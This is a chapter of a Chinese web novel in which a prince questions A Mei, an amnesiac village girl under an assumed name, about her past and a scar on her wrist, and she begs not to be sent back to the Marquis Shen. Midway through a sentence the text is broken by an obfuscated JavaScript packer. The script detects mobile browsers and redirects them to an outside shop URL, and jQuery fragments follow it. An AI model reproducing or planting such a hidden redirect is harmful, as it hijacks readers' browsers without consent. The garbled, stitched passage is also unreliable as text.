第一反应,她吓得厉害,张口就要惊呼求救。
可男人径直走了进来,高大的身影盖住了煤油灯大半的光亮,原本就不大的屋子更显窄小,阿眉凑着昏暗的光看了他一眼,认出了来人是谁。
那个暴雨的晚上,拦住了她的去路的,奇怪的贵人。
她顿时腿一软,跪了下去。
“贵人。”
姜迟目光飘忽了一下。
“魏眉?”
他的声音很淡,听不出什么情绪,阿眉低垂着头,却能感受到那股无形的,属于上位者的威压使她如芒刺背,她无意识地绞着手,低低应了一声。
“起来说话。”
阿眉摇摇晃晃地站起来,那裹得像粽子一样的额头让她更显孱弱瘦小,还没站稳,冷漠的声音就落了下来。
“说说你。”
说她?说什么?
阿眉摸不准他的意思,小心翼翼地抬了抬脑袋,眼神才往上一瞥,便与姜迟一直没动的目光对视,她心里一跳,飞速把脖子缩了回去。
“民……民女是巴蜀人士,家中种田为生,两年前爹娘去世,我跟着姐姐在镇子上,白日里去话本铺子打杂工,晚上回去帮姐姐的刺绣馆绣女做饭洗碗……”
安静的屋内只能听见她一个人的声音,直到阿眉说出那句“半年前独自上京寻亲”,姜迟掀起眼皮。
“魏氏夫妇是你亲生父母?”
阿眉低垂着头。
“是。”
“你今年多大?是从小就生活在巴蜀?上京为寻什么亲?对方姓甚名谁,家住何方?”
一连串的问题紧接着砸了下来,步步紧逼,阿眉在这样压迫又紧张的气氛中有一丝紧绷,呼吸也急促了。
三年前,魏氏夫妇在巴蜀的乱葬岗捡到了她,她身上有几道刀伤,额头还渗着血,像是被什么仇家追杀过似的,夫妇俩把她带回山里,她昏迷了半个月才醒来。
醒了之后,她记忆全无,连自己叫什么都不记得,老妇人见她可怜,就让她留下养病,那段时间老妇人刚没了小女儿,为了转移悲痛的情绪,几乎把全部的注意力都放在了她身上照顾她。
后来小半年他们关系愈发亲密,老妇人真正把她当成了亲生女儿,她也就此留下同他们一起生活。
她没了记忆,自然也不知道自己为什么会满身伤地躺在乱葬岗,老妇人猜测是她惹了仇家,心有余悸,便让她彻底顶替了“魏眉”的身份,做他们的女儿。
老夫妇数十年如一日地住在山里,连衙门里魏眉的户籍都只是寥寥几笔地记录着,她的顶替没有任何人起疑,也风平浪静地过着后面的生活。
上京寻亲之前,阿眉就已经编好了一套说辞,她不能过多暴露不属于“魏眉”的信息,万一曾经的仇人追杀而来,惹了杀身之祸就麻烦了。
她无意识地再次绞紧了手,这是她每每紧张的时候就会做的小动作。
“民女今年二十,从小生活在巴蜀,来此是因为爹娘和姐姐去世后,我一个人孤苦伶仃,他们叮嘱我来此投奔舅舅。
舅舅……爹娘只说舅舅搬家来这,搬来的时候也没有书信告诉他们,民女也不知道舅舅如今住在哪。”
这是一套相当合情理的说辞,最起码她用这些话骗过了那位沈侯爷。
可面前的人却比沈侯爷难骗得多,他淡淡嗯了一声,阿眉还没松一口气,又一句话砸了下来。
“你本名就叫魏眉?”
“正是。”
“为何取名为眉?”
“啊?”
阿眉不明所以地抬起头,怪异地看了他一眼。
名字就是名字,谁规定每个人的名字还必须有什么由来了?
她就是个村姑,又不是什么说一句话都要咬文嚼字的官。
阿眉腹诽着,面上却乖乖地答。
“爹娘说……我的眉眼生得好,盼着我长大了更漂亮些。”
屋内几人几乎是齐刷刷看过去。
昏黄的灯光下,那张漂亮的脸蛋熠熠生辉,额头的白布衬得她的脸愈发娇小,大大的杏眼清澈含笑,长长的柳叶眉更是勾人心魄,美得与整个屋子格格不入。
这哪像山沟沟里养出来的姑娘?怕是上京最顶尖的功勋之家,也难出这么漂亮的小姐。
跟在姜迟身后的那两个丫鬟忍不住眼中露出惊艳,虽然这几天见得不少,每次看到还是不由得感慨姑娘的漂亮。
连俞白也忍不住看了一眼。
姜迟扫过她一眼,站起了身。
脸相似了九成,美则美矣,没有灵魂。
阿眉被众人的眼神看得不自在,鼓足勇气抬起头。
“贵人……”
她话说了一半,高大的身形已经站到了她面前,将她整个人拢在阴影下。
他身上的冷梅香混着冷冽的气息铺天盖地地席卷过来,阿眉有一瞬间以为处在冰天雪地。
尤其是那双透着死寂的眼,如一潭死水一般,让人格外畏惧。
她还没回过神,淡漠的声音已经落下。
“手。”
阿眉一个激灵,连忙把两只手摊开到他面前,下意识抬起头,有些不明所以。
两个侍女已经机灵地又点了两盏灯,把屋内照得亮如白昼。
那是一双有些粗糙的手,指节上还有不少茧子,一看就知道是常年劳作辛苦之人。
姜迟目光从她手上掠过,而后精准落在她的左手腕上。
那里蜿蜒着一道长长的疤痕。
他看了很久,久到阿眉也忍不住看了一眼。
没有姑娘家想自己身上留下这样的伤疤,可三年前有一刀砍在手臂上,因为耽搁的时间长,反复发炎高热,最终县里的大夫给她剜掉了一块肉,后来又重新长的。
长好后又没用什么好的药,就此留下了一道又浅又丑的疤痕。
她目光久久地盯着那道疤,眼眶有些发热,想起最开始这里其实是有一块褐色的胎记,后面剜没了,胎记变成了疤痕,也不知是哪个更丑些。
还是胎记吧,她苦中作乐地想。
说不定后面认亲的时候,凭着这块胎记还能事半功倍,人家一瞧就知道她是自家的孩子。
阿眉刚扯出个苦涩的笑,回过神又摇摇头。
想什么呢?
得到什么,失去什么,丢什么样的胎记,留什么样的伤疤,从来她自己说了不算。
她下意识蜷缩了一下手腕,想把那道疤痕藏进衣袖里。
细微的动作却骤然打破了这诡异的平静,姜迟蓦然别开眼,三两步往外出了门。
几个丫鬟连忙跟了上去,眨眼间屋内只剩下她一人,还有帘子上珠子扯动的声音,很快归于平静。
他离开得突兀,阿眉两只手绞紧在一起,眼中有一丝错愕与无措。
说错话了?
可从入了屋内,他问的大多是她的出身和过往,她小心谨慎地以“魏眉”的身份回答,手上的茧子也能证明她这几年的经历不是说的假话,那还能是为什么?
总不至于……是被她手上的疤丑到了吧?
——
姜迟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153079|196407||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
站在廊下。
他脑中闪过她的话,与那份调查的,“魏眉”的人生几乎完全契合的回答。
土生土长的巴蜀人,有疼爱她的父母与对她不怎么好的姐姐,两年多的劳作也在她手上的茧子上得到了答案,户籍上从她出生就写着的“魏眉”两个字,证明了这不过是一场巧合的撞名与恰好相似了九分的脸。
至于她来到他面前是不是巧合?
那必然是蓄意为之,沈侯爷不会放过这张脸。
姜迟微微掀起眼皮。
“这几日沈府可有动静?”
“有暗卫探过两回别院。”俞白连忙开口。
“不过姑娘一直在屋子里,甚少出来,也没问过沈府的情况。”
侍女墨兰紧接着道。
“主子三思,不管她如今安分与否,对您来说都是隐患,一旦留在您身边,他日给沈府当暗探,后果不堪设想。”
俞白握紧手中的剑,他跟在殿下身边几年,最知道死去的太子妃对姜迟的影响有多大。
这么一张脸被沈侯爷送来,不管她有没有那个主动的心,都得小心为上。
“明天沈府说来接人了吗?”
“还没──只怕沈侯爷巴不得您留下她。”
俞白意图再劝。
“可是──”
姜迟目光落回几步之外那扇窗子上,那道左手腕的疤痕在他脑中一闪而过,他淡淡道。
“去赶车,送她走。”
俞白的话说到一半,猛地抬起头,还以为自己听错了。
“您的意思是?”
姜迟已经抬步往外。
“哎好好,好嘞,属下这就去!”
俞白脸上露出笑容,几乎三两步跑出了院子,一阵风似得急着赶马去了,墨兰错愕片刻,眼看着姜迟马上迈出门槛,还是忍不住开口。
“主子,姑娘身上……”
“贵人──”
墨兰的话没说完,屋子里一道身影猛地扑了出来,几乎刹那飞跑到了姜迟面前,扑通一声跪了下去。
她脸色惨白,两只手紧紧绞在一起,急急开口。
“民女并非有意偷听,可我……我和沈侯爷……我并不听命于侯爷,也不知晓您的身份,更没什么别的胆大的想法,您若想赶我走,能不能别送我回沈府,便把我扔出去就好,我此后绝不出现在您面前!”
姜迟被迫停下步子,看着眼前的人。
“我只是个上京寻亲的乡下人,若不是被侯爷带去侯府,这辈子也不会在这跟您见这一面,我不值当您费心思,但是……”
阿眉咬唇,抬手掀起自己的衣袖,袖子下一道道鞭痕暴露在夜色下。
她语气带着哀求与害怕。
“若我就此回去,真的会死的。”
墨兰不忍心地别开眼。
这些痕迹她这几天给姑娘换衣裳就见过几回,不用猜就知道在侯府的日子定不好过,本是想她替这姑娘求殿下一回,扔出去由她去哪,却没想到这姑娘如此有胆魄,敢自己求这一遭。
冬夜的冷风吹过来,阿眉瑟缩了一下身子,裸露的手臂微微颤抖着,这样把自己全然放在一个脆弱的,任人宰割与审视的未知位置使她有些害怕,交错在一起的手再一次,不自觉地绞在了一起。
姜迟将要开口的话蓦然一顿,他眯起眼,原本死寂的眸子落在她的手背上,蓦然掀起一分波澜,神色也微微一变。
这个动作与神态所带来的熟悉感,刹那翻涌上来。
姜迟的思绪被拉回那个他刻骨铭心的夏天。